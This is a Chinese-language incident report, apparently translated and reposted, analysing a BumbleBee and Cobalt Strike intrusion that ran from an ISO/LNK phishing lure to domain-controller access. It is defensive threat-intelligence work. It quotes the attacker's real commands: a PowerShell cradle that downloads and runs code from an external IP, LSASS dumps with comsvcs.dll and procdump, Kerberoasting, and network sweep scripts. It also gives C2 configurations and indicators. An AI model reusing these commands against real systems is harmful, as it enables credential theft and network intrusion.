在 2022 年 4 月的这次入侵中，威胁行为者使用BumbleBee作为初始访问向量。

BumbleBee 是一种恶意软件加载程序，由 Google 威胁分析小组于 2022 年 3 月首次报告。Google TAG 将该恶意软件归因于名为 EXOTIC LILY 的初始访问代理 (IAB)，该代理与网络犯罪组织 FIN12/WIZARD SPIDER/DEV-0193 合作。

在此入侵期间，威胁行为者使用 ISO 和 LNK 文件获得访问权限，使用多种横向移动技术，以三种不同方式转储凭据，kerberoast 域管理员帐户并删除/执行定制工具以发现权限升级路径。

案例总结  

在此入侵中，威胁行为者在一个环境中运行了 11 天的驻留期。入侵始于一个受密码保护的压缩 ISO 文件，由于其他报告，我们对该文件进行了中等到高度的评估，可能是通过一封电子邮件到达的，其中包含下载该 zip 文件的链接。

执行阶段从受密码保护的 zip 开始，解压后会向用户显示一个ISO文件，用户双击后会像Windows上的 CD 或外部媒体设备一样挂载该文件，并在目录中向用户显示一个名为documents的文件.

当用户双击或打开 lnk 文件时，他们会无意中启动一个隐藏文件，一个包含Bumblebee恶意软件加载程序的 DLL (namr.dll)。从那里，加载器可以连接到 Bumblebee C2 服务器。起初，一切都相当安静，只有 C2 通信；直到大约 3 小时后，Bumblebee 在入口机主机上投放了一个名为 wab.exe 的 Cobalt Strike 信标。这个 Cobalt Strike 信标随后被执行，然后继续注入主机上的各种其他进程（explorer.exe、rundll32.exe）。从这些注入的进程中，威胁参与者开始使用 Windows 实用程序（如 ping 和任务列表）发现任务。

初始访问四小时后，威胁行为者使用 RDP 使用本地管理员帐户访问服务器。然后威胁参与者部署了 AnyDesk，这是在入侵期间唯一观察到的持久性机制。然后，威胁参与者使用Adfind启动了 Active Directory 发现。

在这次活动之后，威胁者沉默了。然后，第二天，他们通过 RDP 访问服务器并部署了一个定制工具 VulnRecon，该工具旨在识别 Windows 主机上的本地权限升级路径。

威胁行为者的下一次检查发生在第 4 天，威胁行为者再次运行 VulnRecon，但来自入口机主机而不是服务器。AdFind 也再次被使用。接下来，攻击者通过 SMB 将Sysinternals 工具 Procdump传输到环境中多个主机上的 ProgramData 文件夹。然后，他们使用远程服务执行 Procdump，后者用于转储 LSASS。在这一点上，攻击者似乎正在寻找比他们目前拥有的更多的访问权限。虽然他们能够横向移动到工作站和至少一台服务器，但他们似乎还没有控制为他们提供所需访问权限的帐户，可能是域管理员或类似的高特权帐户。

在那次活动之后，威胁者就消失了，直到第 7 天，那时他们通过 Anydesk 访问了服务器。同样，他们执行了 VulnRecon，然后还执行了Seatbelt，这是一个用于执行各种基于主机的发现的红队工具。

在入侵的最后一天，即威胁行为者首次进入后的第 11 天，他们似乎正准备针对最终目标采取行动。威胁行为者使用 PowerShell 在入口机主机的内存中下载并执行新的 Cobalt Strike PowerShell 信标。在注入各种进程后，威胁参与者执行了 PowerShell 模块 Invoke-Kerberoast。接下来，他们使用另一种技术将 LSASS 转储到入口机主机上，这次使用内置的 Windows 工具 comsvcs.dll。AdFind 在网络中运行了 3rd 次，然后丢弃并运行了两个批处理脚本。这些批处理脚本的目的是识别环境中的所有在线服务器和工作站，通常是通过为该部署创建目标列表来部署勒索软件的前兆。

脚本运行后，一个新的 Cobalt Strike 可执行信标在入口机阵地运行。接下来，威胁参与者使用服务帐户在域控制器上远程执行 Cobalt Strike 信标。该服务帐户的密码较弱，很可能在入侵早期被 kerberoast 后离线破解。

然后，在采取任何最终行动之前，威胁行为者被驱逐出环境。我们根据最后一天的访问级别和发现活动进行评估，可能的最终行动是在域范围内部署勒索。

服务  

我们提供多种服务，包括 跟踪命令和控制框架（例如 Cobalt Strike、BumbleBee、Covenant、Metasploit、Empire、PoshC2 等）的 Threat Feed 服务。

在我们的安全研究员和组织服务下，我们还提供了此案例中可用的工件和 IOC，例如 pcaps、内存捕获、文件、事件日志（包括 Sysmon、Kape 包等） 。

时间线  

             

初始访问  

在 ISO 中成功执行 lnk 文件后，威胁参与者设法访问入口机主机，这些文件通常通过电子邮件活动分发。

名为BC_invoice_Report_CORP_46.iso的初始 payload是一个 ISO 映像，一旦安装，它会诱使用户打开document.lnk文件，该文件将使用以下命令行执行恶意 DLL 加载程序：

C:WindowsSystem32cmd.exe /c start rundll32 namr.dll,IternalJob

运行Eric Zimmerman 的工具LECmd 揭示了与威胁参与者相关的更多细节。元数据包括 TA 机器的主机名、MAC 地址和 LNK 文档创建日期：

执行  

执行多个有效载荷  

BumbleBee有效负载 ( namr.dll )的成功执行导致使用多种技术丢弃和执行多个有效负载。下图显示了 BumbleBee 投放的所有有效载荷、它们的执行方式以及它们注入的不同进程：

Sysmon File Created 事件显示由 rundll32.exe 创建的 wab.exe

Sysmon 事件代码 1 显示 WMI 执行的 wab.exe

Cobalt Strike 的执行  

以下 PowerShell 单行程序是在第 11 天从wab.exe执行的，它下载了经过混淆处理的 PowerShell 并在内存中执行：

C:Windowssystem32cmd.exe /C powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://104.243.33.50:80/a’) )”

由于下载是通过未加密的 HTTP 通道进行的，因此网络流量一目了然。

可以使用以下CyberChef方法对该有效载荷进行去混淆处理：

Regular_expression(‘User defined’,'[a-zA-Z0-9+/=]{30,}’,true,true,false,false,false,false,’List matches’)

From_Base64(‘A-Za-z0-9+/=’,true)

Gunzip()

Label(‘Decode_Shellcode’)

Regular_expression(‘User defined’,'[a-zA-Z0-9+/=]{30,}’,true,true,false,false,false,false,’List matches’)

Conditional_Jump(”,false,”,10)

From_Base64(‘A-Za-z0-9+/=’,true)

XOR({‘option’:’Decimal’,’string’:’35’},’Standard’,false)

反混淆后，我们可以发现MZRE标头，它是 Cobalt Strike 默认配置的一部分：

从该 Shellcode 中提取有价值信息的最简单方法之一是使用 Didier Stevens 1768.py 工具：

命令和控制服务器托管在 (108.62.12[.]174/dofixifa[.]co) 上。命令和控制部分提供了完整的配置提取，详细说明了 Malleable C2 配置文件

权限维持  

AnyDesk 及其作为服务的安装用于持久存在并创建网络后门。

特权升级  

获取SYSTEM权限  

威胁参与者通过在错误的控制台（shell 控制台而不是信标控制台）中启动 getsystem 命令而犯了一个错误。该命令的父进程是 C:Windowssystem32svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc ，Cobalt Strike 被注入的进程：

C:Windowssystem32cmd.exe /C getsystem

该命令是内置的 Cobalt Strike 命令，用于获取 SYSTEM 权限。官方 Cobalt Strike博客中记录了此功能的详细描述。

有效账户  

威胁行为者获取并滥用特权域帐户的凭据作为在域上获得特权升级的手段。他们还利用本地管理员帐户。

具有域管理员权限的服务帐户用于在域控制器上创建远程服务以横向移动。

防御闪避  

进程注入  

多次使用进程注入技术来注入不同的进程。几乎每个后渗透都是从注入进程启动的。

执行后，wab.exe进程立即创建了两个远程线程，以便将代码注入explorer.exe和rundll32.exe：

威胁参与者还在svchost.exe中创建了一个远程线程：

然后产生了多个进程：

C:Windowssystem32svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

执行各种技术（枚举、凭证转储等）：

Yara 使用Malpedia Cobalt Strike 规则对进程内存进行扫描，揭示了跨主机的各种注入。

             

进程号	进程名称	命令行
6832	explorer.exe	C:Windowsexplorer.exe
7476	svchost.exe	C:Windowssystem32svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
8088	wab.exe	C:UsersUSERAppDataLocalwab.exe
34296	rundll32.exe	C:Windowssystem32rundll32.exe
19284	powershell.exe	“c:windowssyswow64windowspowershellv1.0powershell.exe” -Version 5.1 -s -NoLogo -NoProfile
7316	svchost.exe	C:Windowssystem32svchost.exe -k UnistackSvcGroup
7288	svchost.exe	C:Windowssystem32svchost.exe -k UnistackSvcGroup -s WpnUserService
20400	rundll32.exe	C:WindowsSystem32rundll32.exe

             

主机上的指标删除：文件删除  

我们观察到威胁行为者从主机上删除了他们的工具（Procdump、网络扫描脚本等）。

下表显示了在转储 LSASS 进程后从所有目标工作站的 ProgramData 文件夹中删除 ProcDump 的示例：

凭据访问  

LSASS 转储  

MiniDump  

               

威胁参与者通过信标使用comsvcs.dll MiniDump技术从入口机阵地转储 LSASS 进程C:Windowssystem32svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc：

               

cmd.exe /C rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump 968 C:ProgramDataREDACTEDlsass.dmp full

procdump  

威胁者还在多个工作站远程投放procdump.exe和procdump64.exe ，转储 LSASS，并将它们从 ProgramData 文件夹中删除：

ProcDump实用程序使用以下命令行在这些工作站上执行：

C:programdataprocdump64.exe -accepteula -ma lsass.exe C:ProgramDatalsass.dmp

Kerberoasting  

Invoke-Kerberoast命令是通过svchost.exe从入口机执行的，威胁参与者在该进程中注入：

以下是 PowerShell EventID 800 的摘录，显示了威胁参与者使用的不同Invoke-Kerberoast选项，包括HashCat输出格式：

IEX (New-Object Net.Webclient).DownloadString(‘http://127.0.0.1:36177/’); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:ProgramDataREDACTEDps.txt -append -force -Encoding UTF8

Invoke-Kerberoast执行后，DC 日志显示从入口机主机请求了多个 Kerberos 服务票证，票证加密类型设置为0x17 (RC4)，票证选项设置为 0x40810000，用于服务帐户。

大约 3 小时后，其中一个服务帐户从入口机登录到其中一个域控制器。

我们非常有信心地评估服务帐户密码很弱并且被威胁者离线破解。

发现  

侦察  

系统信息和软件发现  

以下命令由wab.exe信标启动：

whoami

ipconfig /all

tasklist

systeminfo

wmic product get name,version

wmic /node:process list brief

net view \Files$ /all

dir \C$

使用相同的信标wab.exe，tasklist 也被用来远程枚举多台主机上的进程：

tasklist /v /s

管理员组和域发现  

正如我们已经在多个案例中观察到的那样，威胁参与者主要使用 net 命令枚举本地管理员组和域特权（企业和 DA）管理员组：

net use

net group “Domain computers” /dom

net group “Enterprise admins” /domain

net group “domain admins” /domain

net localgroup administrators

nltest /dclist:

nltest /domain_trusts

ping -n 1

操作错误  

威胁参与者通过在错误的控制台中执行命令而未能完成部分任务：

C:WindowsSystem32rundll32.exe                
  ➝ C:Windowssystem32cmd.exe /C shell whoami /all

我们可以高度自信地断言，侦察阶段并非完全自动化，威胁参与者手动执行命令并在其中一个命令中犯了错误。

AdFind  

为了枚举 Active Directory，威胁参与者在三个不同的场合从入口机主机执行AdFind ：

执行源，即发起父进程，每次都不同，AdFind二进制文件的名称和结果文件也有一次不同，这可能表明有多个威胁参与者正在访问网络。

网络扫描  

威胁参与者使用名为s.bat（用于服务器）和w.bat（用于工作站）的两个脚本来ping主机并将结果存储在两个日志文件中：

s.bat脚本：

@echo off

for /f %%i in (servers.txt) do for /f “tokens=2 delims=[]” %%j in (‘ping -n 1 -4 “%%i”‘) do @echo %%j >> serv.log

w.bat脚本：

@echo off

for /f %%i in (workers.txt) do for /f “tokens=2 delims=[]” %%j in (‘ping -n 1 -4 “%%i”‘) do @echo %%j >> work.log

这两个脚本都是从 PowerShell Cobalt Strike 信标 ( powershell.exe ) 执行的。

调用ShareFinder  

Invoke-ShareFinder 是一个 PowerShell 模块，它是PowerView的一部分。

Invoke-ShareFinder – 在本地域中的主机上查找（非标准）共享

威胁参与者使用 Invoke-ShareFinder 执行共享枚举。

IEX (New-Object Net.Webclient).DownloadString(‘http://127.0.0.1:39303/%27);

Invoke-ShareFinder  -CheckShareAccess -Verbose | Tee-Object ShareFinder.txt

因为rundll32.exe执行了 PowerShell，我们可以看到rundll32.exe在C:ProgramData中创建了ShareFinder.txt输出文件。

Seatbelt  

服务器上的威胁参与者使用SeatBelt工具来发现潜在的安全配置错误。

Seatbelt 是一个 C# 项目，它从攻击性和防御性安全角度执行大量面向安全的主机调查“安全检查”。

威胁行为者通过指定标志执行全面侦察-group=all：

Seatbelt.exe -group=all -outputfile=”C:ProgramDataseatinfo.txt”

漏洞侦察  

威胁参与者在两台主机上放置了两个名为vulnrecon.dll和vulnrecon.exe 的二进制文件。这是我们第一次观察到这个工具。该库似乎是一种自定义工具，旨在帮助威胁参与者使用 Windows 本地权限升级枚举。

vulnrecon.dll PDB: D:a_work1sartifactsobjwin-x64.ReleasecorehostcliapphoststandaloneReleaseapphost.pdb

vulnrecon.exe PDB: D:workrtVulnReconVulnReconobjReleasenet5.0VulnRecon.pdb

下表总结了该工具的功能：

选项/命令	详细信息（来自代码）
‘v’ or “Vulnerability”	“Search for available vulnerabilities for using LPE tools”“扫描操作系统漏洞并显示 LPE 工具列表”
‘m’ or “MicrosoftUpdates”	“List of all installed microsoft updates””显示已安装的 Microsoft 更新列表”
‘h’ or “HotFixes”	“List of installed hot fixes””显示已安装的hot fixes列表”
‘s’ or “SupportedCve”	“LPE 实施工具列表”“显示 LPE 实施 CVE 列表”
‘i’ or “SystemInfo”	“显示有关当前 Windows 版本的信息”

             

以下是通过已安装的 KB 映射支持（或实施）的所有 CVE 枚举的列表：

威胁行为者多次在具有低级别权限的被控机 0 上执行此工具，并在具有管理员权限的服务器上再次执行此工具。以下是对手运行的所有命令行：

横向运动  

横向工具转移  

使用 Cobalt Strike 信标，攻击者将AnyDesk (1).exe文件从入口机阵地传输到服务器：

威胁参与者还将ProcDump从入口机阵地转移到多个工作站：

远程服务  

远程桌面协议  

威胁行为者使用explorer.exe启动与服务器的代理 RDP 连接：

威胁参与者使用具有管理员帐户的RDP执行从入口机阵地到服务器的第一次横向移动：

第一次横向移动是为了放下和安装AnyDesk。

SMB/Windows 管理员共享  

RPC 远程服务  

多个 RPC 连接是从rundll32.exe进程启动的，wab.exe先前注入到：

这些 RPC 连接针对多个主机，包括工作站、服务器和 DC。

正如我们在目标服务器上看到的那样，恶意软件使用win32 函数CreateServiceA在服务器上通过 RPC 创建远程服务。

Cobalt Strike 内置 PsExec  

威胁行为者使用内置的 Cobalt Strikejump psexec命令横向移动。每次使用此功能时，都会创建一个远程服务，其中包含随机字母数字字符、服务名称和服务文件名，例如“<7-alphanumeric-characters>.exe”。

下面是在域控制器上创建的服务edc603a 的示例：

用于执行此横向移动的帐户是 kerberoasted 服务帐户之一。

该服务运行一个不带任何参数的rundll32.exe进程。这个过程正在向 (108.62.12[.]174/dofixifa[.]co) 发出信号，这是在这次入侵的最后一天使用的第二个 Cobalt Strike C2。

我们观察到此信标执行各种技术（通过 CreateRemoteThread、默认命名管道等在 svchost 进程中进行进程注入）

命令与控制  

下图显示了通过丢弃的有效负载或威胁参与者注入的进程与恶意 IP 地址的所有通信：

BumbleBee  

142.91.3[.]109              
45.140.146[.]30

所有活跃的 Bumblebee 命令和控制在 TLS 设置方面共享一个通用的服务器配置。

JA3: c424870876f1f2ef0dd36e7e569de906

JA3s: 61be9ce3d068c08ff99a857f62352f9d

             

Certificate: [76:28:77:ff:fe:26:5c:e5:c6:7a:65:01:09:63:44:6d:57:b7:45:f2 ]

Not Before: 2022/04/12 06:33:52 UTC

Not After: 2023/04/12 06:33:52 UTC

Issuer Org: Internet Widgits Pty Ltd

Subject Org: Internet Widgits Pty Ltd

Public Algorithm: rsaEncryption

Cobalt Strike  

Cobalt Strike (CS) 在这次入侵中被广泛使用，威胁参与者使用 CS 作为主要的命令和控制工具，投放了多个有效载荷，并注入到不同主机上的多个进程中。

C2 服务器  

此次入侵期间使用了两台 CS C2 服务器。下图显示了随时间变化的信标活动，我们可以注意到第一个 C2 服务器 (45.153.243[.]142/fuvataren[.]com) 从第一天开始和第二个 C2 服务器 (108.62.12[.] 174/dofixifa[.]co) 仅在入侵的最后一天（第 11 天）：

主信标wab.exe：

45.153.243[.]142                
fuvataren[.]com

JA3: a0e9f5d64349fb13191bc781f81f42e1

JA3s: ae4edc6faf64d08308082ad26be60767

               

Certificate: [6c:54:cc:ce:ca:da:8b:d3:12:98:13:d5:85:52:81:8a:9d:74:4f:fb ]

Not Before: 2022/04/15 00:00:00 UTC

Not After: 2023/04/15 23:59:59 UTC

Issuer Org: Sectigo Limited

Subject Common: fuvataren.com [fuvataren.com ,www.fuvataren.com ]

Public Algorithm: rsaEncryption

下面是从沙箱分析结果中导出的这个 C2 的 Cobalt Strike 配置：

               

access_type: 512

beacon_type: 2048

host: fuvataren.com,/rs.js

http_header1: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAASQWNjZXB0OiBpbWFnZS9qcGVnAAAABwAAAAAAAAALAAAAAwAAAAIAAAAFSFNJRD0AAAAGAAAABkNvb2tpZQAAAAkAAAAJcmVhZD10cnVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

http_header2: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAVQWNjZXB0LUVuY29kaW5nOiBnemlwAAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAABAAAADQAAAAMAAAACAAAAB3ZhbHVlcz0AAAAEAAAABwAAAAAAAAADAAAAAgAAAA5fX3Nlc3Npb25fX2lkPQAAAAYAAAAGQ29va2llAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

http_method1: GET

http_method2: POST

jitter: 6144

polling_time: 5000

port_number: 443

sc_process32: %windir%syswow64rundll32.exe

sc_process64: %windir%sysnativerundll32.exe

state_machine: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5eYxmuxksHBu5Hqtk11PJye1th52fYvmUXmFrL1vEIQs9+B5NI7a6bHbSHSRN1hRJN2VQ9iwpF/11IFitmWKEbFIErjX1YCy1/1Eg+EawN4l2ReZ9lz1A9wIDUtQb8fAFYRCSn72Gzb+Pax1VKLt4Kx3QJrpduOhx4q4rdvahPQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

unknown1

3.025605888e+09

unknown2

AAAABAAAAAIAAAJYAAAAAwAAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

uri: /en

user_agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202

watermark: 1580103814

PowerShell信标：

               

108.62.12[.]174                
dofixifa[.]co                
JA3：a0e9f5d64349fb13191bc781f81f42e1                
JA3s：ae4edc6faf64d08308082ad26be60767                
               
Certificate: [ec:57:c5:ca:b1:ca:fb:88:3e:ce:1d:f3:89:0c:91:e3:1d:0a:75:ec ]

Not Before: 2022/03/26 00:00:00 UTC

Not After: 2023/03/26 23:59:59 UTC

Issuer Org: Sectigo Limited

Subject Common: dofixifa.com [dofixifa.com ,www.dofixifa.com ]

Public Algorithm: rsaEncryption

               

使用1768.py工具提取完整配置：

               

Config found: xorkey b’.’ 0x00000000 0x000031e0

0x0001 payload type                     0x0001 0x0002 8 windows-beacon_https-reverse_https

0x0002 port                             0x0001 0x0002 443

0x0003 sleeptime                        0x0002 0x0004 5000

0x0004 maxgetsize                       0x0002 0x0004 2796542

0x0005 jitter                           0x0001 0x0002 48

0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100990b95ec8c7c882213d9afae50bc2f45ddf44795ab15a01de1db4356d5514af9f0ff9e4ddb58bb4499bf716be7d04128559449c06e494347bcb06f406a291dbd4df8a783aefd759c9c471ed03476c05dcbb3320413a79c07e45f3a6617354c548b0f076710f7c858070ada7d40627c98513f4a44492c4c30b68b30cea3802c33020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

0x0008 server,get-uri                   0x0003 0x0100 ‘dofixifa.com,/ro’

0x0043 DNS_STRATEGY                     0x0001 0x0002 0

0x0044 DNS_STRATEGY_ROTATE_SECONDS      0x0002 0x0004 -1

0x0045 DNS_STRATEGY_FAIL_X              0x0002 0x0004 -1

0x0046 DNS_STRATEGY_FAIL_SECONDS        0x0002 0x0004 -1

0x000e SpawnTo                          0x0003 0x0010 (NULL …)

0x001d spawnto_x86                      0x0003 0x0040 ‘%windir%\syswow64\rundll32.exe’

0x001e spawnto_x64                      0x0003 0x0040 ‘%windir%\sysnative\rundll32.exe’

0x001f CryptoScheme                     0x0001 0x0002 0

0x001a get-verb                         0x0003 0x0010 ‘GET’

0x001b post-verb                        0x0003 0x0010 ‘POST’

0x001c HttpPostChunk                    0x0002 0x0004 0

0x0025 license-id                       0x0002 0x0004 0

0x0026 bStageCleanup                    0x0001 0x0002 1

0x0027 bCFGCaution                      0x0001 0x0002 0

0x0009 useragent                        0x0003 0x0100 ‘Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202’

0x000a post-uri                         0x0003 0x0040 ‘/styles’

0x000b Malleable_C2_Instructions        0x0003 0x0100

  Transform Input: [7:Input,4,2:338,3,8]

   Print

   Remove 338 bytes from begin

   BASE64

   NETBIOS lowercase

0x000c http_get_header                  0x0003 0x0200

  Const_host_header Host: gmw.cn

  Const_header Connection: close

  Build Metadata: [7:Metadata,8,3,2:wordpress_logged_in=,6:Cookie]

   NETBIOS lowercase

   BASE64

   Prepend wordpress_logged_in=

   Header Cookie

0x000d http_post_header                 0x0003 0x0200

  Const_host_header Host: gmw.cn

  Const_header Connection: close

  Const_header Accept-Encoding: gzip

  Const_header Content-Type: text/plain

  Build Output: [7:Output,15,3,4]

   XOR with 4-byte random key

   BASE64

   Print

  Build SessionId: [7:SessionId,3,2:__session__id=,6:Cookie]

   BASE64

   Prepend __session__id=

   Header Cookie

0x0036 HostHeader                       0x0003 0x0080 (NULL …)

0x0032 UsesCookies                      0x0001 0x0002 1

0x0023 proxy_type                       0x0001 0x0002 2 IE settings

0x003a TCP_FRAME_HEADER                 0x0003 0x0080 ‘x00x04’

0x0039 SMB_FRAME_HEADER                 0x0003 0x0080 ‘x00x04’

0x0037 EXIT_FUNK                        0x0001 0x0002 0

0x0028 killdate                         0x0002 0x0004 0

0x0029 textSectionEnd                   0x0002 0x0004 155989

0x002a ObfuscateSectionsInfo            0x0003 0x0020 ‘x00px02x00áx0bx03x00x00x10x03x00 ·x03x00x00Àx03x00x1cÞx03’

0x002b process-inject-start-rwx         0x0001 0x0002 4 PAGE_READWRITE

0x002c process-inject-use-rwx           0x0001 0x0002 32 PAGE_EXECUTE_READ

0x002d process-inject-min_alloc         0x0002 0x0004 12128

0x002e process-inject-transform-x86     0x0003 0x0100 ‘x00x00x00x05x90x90x90x90x90’

0x002f process-inject-transform-x64     0x0003 0x0100 ‘x00x00x00x05x90x90x90x90x90’

0x0035 process-inject-stub              0x0003 0x0010 ‘2ÍAíðx81x0c[_Ix8eßG1Ìm’

0x0033 process-inject-execute           0x0003 0x0080 ‘x01x03x04’

0x0034 process-inject-allocation-method 0x0001 0x0002 0

0x0000

Guessing Cobalt Strike version: 4.3 (max 0x0046)

               

默认命名管道  

威胁参与者使用默认 CS 配置和默认命名管道。创建命名管道是为了在 CS 进程之间建立通信：

在这种特殊情况下，威胁参与者使用默认的后渗透工作，其模式为postex_[0-9a-f]{4}.

以下是此次入侵期间发现的所有默认命名管道的完整列表：

postex_0dde                
postex_3e9b                
postex_4008                
postex_4429                
postex_55f8                
postex_8248                
postex_8c73                
postex_972d                
postex_fc2e

               

AnyDesk  

正如之前在横向工具传输部分中提到的，威胁参与者从入口机远程将AnyDesk二进制文件投放到服务器上：

执行AnyDesk安装程序时创建了一项新服务（事件 ID 7045）：

AnyDesk日志%ProgramData%AnyDeskad_svc.trace和%AppData%AnyDeskad.trace显示它是在这次入侵的第 1 天和第 7 天使用的，每次都使用本地管理员帐户。如果您有正确的日志（*.anydesk.com 域、 AnyDesk用户代理等），则可以相对容易地发现AnyDesk的使用情况

AnyDesk的使用也触发了两个 ET 签名：

ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)

ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent

同样，添加检测功能以检测勒索软件操作员常用的未经授权的远程管理工具的使用，这些都是速战速决

AnyDesk 配置文件和网络日志显示，使用的 ID 为159889039，源 IP 为108.177.235.25（LeaseWeb USA – Cloud Provider）。

影响  

在此入侵期间没有影响（渗漏、数据加密或破坏）。然而，观察到的 TTP 显示了常见的网络犯罪威胁行为者的交易技巧，如果威胁行为者有足够的时间，这可能会导致域范围的勒索软件。

指标  

文件  

BC_invoice_Report_CORP_46.zip

5226b7138f4dd1dbb9f6953bd75a320b

6c87ca630c294773ab760d88587667f26e0213a3

c1b8e9d77a6aea4fc7bed4a2a48515aa32a3922859c9091cecf1b5f381a87127

document.lnk

3466ffaf086a29b8132e9e10d7111492

58739dc62eeac7374db9a8c07df7c7c36b550ce5

90f489452b4fe3f15d509732b8df8cc86d4486ece9aa10cbd8ad942f7880075e

namr.dll

f856d7e7d485a2fc5b38faddd8c6ee5c

c68e4d5eaae99d6f0a51eec48ace79a4fede3c09

2d67a6e6e7f95d3649d4740419f596981a149b500503cbc3fcbeb11684e55218

wab.exe

c68437cc9ed6645726119c12fdcb33e7

7a3db4b3359b60786fcbdaf0115191502fcded07

1cf28902be615c721596a249ca85f479984ad85dc4b19a7ba96147e307e06381

af.exe

9b02dd2a1a15e94922be3f85129083ac

2cb6ff75b38a3f24f3b60a2742b6f4d6027f0f2a

b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682

VulnRecon.exe

5839b4013cf6e25568f13d3fc4120795

d9832b46dd6f249191e9cbcfba2222c1702c499a

eb4cba90938df28f6d8524be639ed7bd572217f550ef753b2f2d39271faddaef

VulnRecon.dll

951d017ba31ecc6990c053225ee8f1e6

a204f20b1c96c5b882949b93eb4ac20d4f9e4fdf

a9e90587c54e68761be468181e56a5ba88bac10968ff7d8c0a1c01537158fbe8           

CommandLine.dll

3654f4e4c0858a9388c383b1225b8384

974ffbfae36e9a41ac672f9793ce1bee18f2e670

fa2b74bfc9359efba61ed7625d20f9afc11a7933ebc9653e8e9b1e44be39c455

w.bat

bba3ff461eee305c7408e31e427f57e6

3300c0c05b33691ecc04133885b7fc9513174746

59198ffaf74b0e931a1cafe78e20ebf0b16f3a5a03bb4121230a0c44d7b963d2    

s.bat

4b78228c08538208686b0f55353fa3bf

67707f863aa405a9b9a335704808c604845394bf

5eb0b0829b9fe344bff08de80f55a21a26a53df7bd230d777114d3e7b64abd24

网络  

BumbleBee  

142.91.3[.]109                
45.140.146[.]30

Cobalt Strike  

45.153.243[.]142                
fuvataren[.]com                
               
108.62.12[.]174                
dofixifa[.]com

Cobalt Strike 负载托管  

104.243.33[.]50

侦测  

网络  

ET POLICY OpenSSL Demo CA – Internet Widgits Pty (O)

ET POLICY SMB Executable File Transfer

ET RPC DCERPC SVCCTL – Remote Service Control Manager Access

ET POLICY SMB2 NT Create AndX Request For an Executable File

ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)

ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent

(Snort VRT) MALWARE-OTHER CobaltStrike powershell web delivery attempt

翻译自网络

原文始发于微信公众号（闲聊知识铺）：BumbleBee 组织从钓鱼一步步晋升为域管理员完整分析报告